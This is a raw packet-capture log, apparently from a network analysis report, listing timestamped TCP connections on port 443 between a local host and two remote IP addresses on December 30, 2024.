Dec 30, 2024 11:36:20.814385891 CET	49871	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:20.814621925 CET	443	49873	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:20.814713955 CET	49873	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:20.820414066 CET	49873	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:20.820440054 CET	443	49873	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:20.820749044 CET	49873	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:20.820756912 CET	443	49873	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:20.842722893 CET	443	49872	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:20.842819929 CET	49872	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:20.843494892 CET	443	49872	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:20.843554974 CET	49872	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:20.845140934 CET	49872	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:20.845159054 CET	443	49872	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:20.845438004 CET	443	49872	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:20.845498085 CET	49872	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:20.845870018 CET	49872	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:20.855349064 CET	443	49871	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:20.891331911 CET	443	49872	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:21.183883905 CET	443	49871	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:21.183975935 CET	49871	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:21.184009075 CET	443	49871	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:21.184060097 CET	49871	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:21.184365034 CET	49871	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:21.184433937 CET	443	49871	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:21.184499979 CET	49871	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:21.185580969 CET	49874	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:21.185636044 CET	443	49874	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:21.185772896 CET	49874	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:21.186181068 CET	49874	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:21.186197042 CET	443	49874	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:21.216295004 CET	443	49870	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:21.216350079 CET	443	49870	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:21.216406107 CET	49870	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:21.216429949 CET	443	49870	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:21.216489077 CET	443	49870	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:21.216738939 CET	49870	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:21.216738939 CET	49870	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:21.217273951 CET	49870	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:21.217303991 CET	443	49870	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:21.217783928 CET	49875	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:21.217825890 CET	443	49875	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:21.219551086 CET	49875	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:21.219749928 CET	49875	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:21.219759941 CET	443	49875	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:21.226300955 CET	443	49872	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:21.226404905 CET	49872	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:21.226433992 CET	443	49872	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:21.226489067 CET	49872	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:21.226761103 CET	443	49872	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:21.226810932 CET	443	49872	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:21.226815939 CET	49872	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:21.226847887 CET	49872	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:21.227241993 CET	49872	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:21.227262974 CET	443	49872	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:21.227880955 CET	49876	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:21.227931023 CET	443	49876	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:21.228193045 CET	49876	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:21.228413105 CET	49876	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:21.228425026 CET	443	49876	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:21.384172916 CET	443	49873	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:21.384239912 CET	49873	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:21.384268045 CET	443	49873	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:21.384309053 CET	49873	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:21.384315014 CET	443	49873	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:21.384361029 CET	49873	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:21.384366035 CET	443	49873	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:21.384381056 CET	443	49873	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:21.384424925 CET	49873	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:21.385287046 CET	49873	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:21.385301113 CET	443	49873	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:21.386042118 CET	49877	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:21.386077881 CET	443	49877	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:21.386317968 CET	49877	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:21.386374950 CET	49877	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:21.386380911 CET	443	49877	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:21.786140919 CET	443	49874	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:21.786245108 CET	49874	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:21.790061951 CET	49874	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:21.790075064 CET	443	49874	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:21.791801929 CET	49874	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:21.791809082 CET	443	49874	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:21.822293043 CET	443	49875	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:21.822458029 CET	49875	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:21.822829962 CET	49875	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:21.822838068 CET	443	49875	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:21.822982073 CET	49875	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:21.822988033 CET	443	49875	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:21.855503082 CET	443	49876	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:21.855562925 CET	49876	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:21.855987072 CET	49876	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:21.856000900 CET	443	49876	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:21.856264114 CET	49876	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:21.856270075 CET	443	49876	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:21.985619068 CET	443	49877	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:21.985687971 CET	49877	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:21.986423969 CET	49877	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:21.986437082 CET	443	49877	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:21.986644030 CET	49877	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:21.986654997 CET	443	49877	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:22.167367935 CET	443	49874	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:22.167454004 CET	49874	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:22.167475939 CET	443	49874	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:22.167804003 CET	49874	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:22.168073893 CET	443	49874	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:22.168122053 CET	443	49874	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:22.168145895 CET	49874	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:22.168307066 CET	49874	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:22.181083918 CET	49874	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:22.181112051 CET	443	49874	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:22.183191061 CET	49878	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:22.183244944 CET	443	49878	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:22.183446884 CET	49878	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:22.183686018 CET	49878	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:22.183696985 CET	443	49878	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:22.237782001 CET	443	49876	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:22.237858057 CET	49876	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:22.237890959 CET	443	49876	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:22.238101006 CET	49876	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:22.238971949 CET	49876	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:22.239027023 CET	443	49876	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:22.239161968 CET	49876	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:22.239695072 CET	49879	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:22.239731073 CET	443	49879	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:22.239779949 CET	49879	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:22.240014076 CET	49879	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:22.240025043 CET	443	49879	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:22.346915007 CET	443	49875	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:22.346981049 CET	443	49875	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:22.346997023 CET	49875	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:22.347009897 CET	443	49875	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:22.347022057 CET	49875	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:22.347049952 CET	49875	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:22.347096920 CET	443	49875	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:22.347134113 CET	49875	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:22.347138882 CET	443	49875	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:22.347183943 CET	443	49875	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:22.347254038 CET	49875	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:22.372037888 CET	49875	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:22.372095108 CET	443	49875	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:22.372983932 CET	49880	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:22.373048067 CET	443	49880	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:22.373131037 CET	49880	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:22.373457909 CET	49880	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:22.373478889 CET	443	49880	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:22.535522938 CET	443	49877	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:22.535564899 CET	443	49877	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:22.535660982 CET	443	49877	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:22.535689116 CET	49877	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:22.535727978 CET	49877	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:22.651608944 CET	49877	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:22.651633978 CET	443	49877	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:22.669800043 CET	49882	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:22.669845104 CET	443	49882	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:22.669898033 CET	49882	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:22.759020090 CET	49882	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:22.759064913 CET	443	49882	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:22.811881065 CET	443	49878	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:22.811974049 CET	49878	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:22.812679052 CET	443	49878	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:22.812748909 CET	49878	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:22.814387083 CET	49878	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:22.814400911 CET	443	49878	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:22.814713001 CET	443	49878	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:22.814773083 CET	49878	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:22.815270901 CET	49878	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:22.858222008 CET	443	49879	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:22.858329058 CET	49879	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:22.858987093 CET	443	49879	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:22.859035015 CET	49879	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:22.859330893 CET	443	49878	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:22.861495018 CET	49879	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:22.861506939 CET	443	49879	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:22.861797094 CET	443	49879	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:22.861849070 CET	49879	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:22.863464117 CET	49879	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:22.907331944 CET	443	49879	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:23.128324986 CET	443	49880	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:23.128437996 CET	49880	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:23.129009008 CET	49880	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:23.129021883 CET	443	49880	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:23.130902052 CET	49880	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:23.130908012 CET	443	49880	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:23.182018042 CET	443	49878	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:23.182077885 CET	49878	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:23.182188988 CET	49878	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:23.182223082 CET	443	49878	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:23.182395935 CET	443	49878	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:23.182440996 CET	49878	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:23.182459116 CET	49878	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:23.182750940 CET	49883	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:23.182807922 CET	443	49883	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:23.182869911 CET	49883	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:23.183465004 CET	49883	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:23.183478117 CET	443	49883	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:23.234558105 CET	443	49879	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:23.234663963 CET	49879	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:23.234679937 CET	443	49879	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:23.234751940 CET	49879	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:23.234858036 CET	49879	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:23.234888077 CET	443	49879	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:23.234956980 CET	49879	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:23.235459089 CET	49884	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:23.235512972 CET	443	49884	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:23.235610962 CET	49884	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:23.235796928 CET	49884	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:23.235807896 CET	443	49884	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:23.236855984 CET	49882	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:23.236886978 CET	49880	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:23.237485886 CET	49885	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:23.237530947 CET	443	49885	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:23.237577915 CET	49885	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:23.238033056 CET	49885	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:23.238044977 CET	443	49885	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:23.239412069 CET	49886	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:23.239451885 CET	443	49886	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:23.239603043 CET	49886	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:23.239726067 CET	49886	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:23.239737034 CET	443	49886	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:23.810827017 CET	443	49883	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:23.810960054 CET	49883	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:23.811619043 CET	443	49883	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:23.811697006 CET	49883	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:23.815973043 CET	49883	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:23.815984964 CET	443	49883	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:23.816333055 CET	443	49883	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:23.816399097 CET	49883	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:23.816771030 CET	49883	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:23.837418079 CET	443	49884	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:23.837491989 CET	49884	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:23.838228941 CET	443	49884	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:23.838285923 CET	49884	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:23.838434935 CET	443	49885	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:23.838517904 CET	49885	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:23.840316057 CET	49885	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:23.840326071 CET	443	49885	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:23.840368986 CET	49884	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:23.840392113 CET	443	49884	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:23.840692043 CET	443	49884	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:23.840708971 CET	443	49885	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:23.840763092 CET	49884	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:23.840818882 CET	49885	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:23.841170073 CET	49885	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:23.841231108 CET	49884	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:23.846232891 CET	443	49886	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:23.846327066 CET	49886	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:23.847872019 CET	49886	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:23.847893000 CET	443	49886	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:23.848176956 CET	443	49886	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:23.848239899 CET	49886	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:23.848875999 CET	49886	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:23.863331079 CET	443	49883	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:23.883337021 CET	443	49885	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:23.887336969 CET	443	49884	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:23.891333103 CET	443	49886	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:24.209178925 CET	443	49884	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:24.209263086 CET	443	49884	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:24.209326029 CET	49884	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:24.212862968 CET	443	49883	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:24.212948084 CET	49883	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:24.213752031 CET	443	49883	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:24.213805914 CET	443	49883	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:24.213818073 CET	49883	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:24.213896036 CET	49883	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:24.215631008 CET	49884	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:24.215665102 CET	443	49884	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:24.216207027 CET	49889	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:24.216245890 CET	443	49889	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:24.216310978 CET	49889	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:24.216521025 CET	49889	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:24.216535091 CET	443	49889	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:24.216733932 CET	49883	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:24.216748953 CET	443	49883	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:24.216774940 CET	49883	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:24.217152119 CET	49890	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:24.217180967 CET	49883	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:24.217197895 CET	443	49890	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:24.217262983 CET	49890	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:24.217669964 CET	49890	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:24.217683077 CET	443	49890	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:24.243453979 CET	443	49885	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:24.243511915 CET	443	49885	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:24.243541002 CET	49885	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:24.243560076 CET	443	49885	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:24.243571043 CET	49885	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:24.243635893 CET	443	49885	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:24.243680954 CET	49885	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:24.244265079 CET	49885	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:24.244282007 CET	443	49885	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:24.244721889 CET	49891	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:24.244770050 CET	443	49891	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:24.244838953 CET	49891	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:24.245062113 CET	49891	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:24.245071888 CET	443	49891	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:24.399688005 CET	443	49886	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:24.399739027 CET	443	49886	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:24.399785042 CET	49886	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:24.399785042 CET	49886	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:24.399810076 CET	443	49886	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:24.399859905 CET	49886	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:24.399866104 CET	443	49886	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:24.399878025 CET	443	49886	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:24.399918079 CET	49886	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:24.401141882 CET	49886	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:24.401160002 CET	443	49886	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:24.401555061 CET	49892	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:24.401607990 CET	443	49892	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:24.401926994 CET	49892	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:24.402146101 CET	49892	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:24.402158022 CET	443	49892	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:24.817948103 CET	443	49889	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:24.818092108 CET	49889	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:24.824693918 CET	49889	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:24.824707985 CET	443	49889	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:24.824892998 CET	49889	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:24.824898958 CET	443	49889	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:24.847412109 CET	443	49890	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:24.847604036 CET	49890	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:24.847795010 CET	443	49891	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:24.847858906 CET	49891	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:24.848342896 CET	49890	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:24.848355055 CET	443	49890	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:24.848532915 CET	49890	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:24.848540068 CET	443	49890	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:24.848845959 CET	49891	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:24.848851919 CET	443	49891	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:24.852037907 CET	49891	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:24.852044106 CET	443	49891	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:25.010695934 CET	443	49892	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:25.014594078 CET	49892	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:25.035331011 CET	49892	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:25.035343885 CET	443	49892	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:25.035490036 CET	49892	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:25.035495996 CET	443	49892	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:25.192385912 CET	443	49889	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:25.192456007 CET	49889	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:25.192481041 CET	443	49889	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:25.192549944 CET	49889	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:25.193085909 CET	443	49889	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:25.193139076 CET	443	49889	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:25.193247080 CET	49889	443	192.168.2.4	142.250.186.142
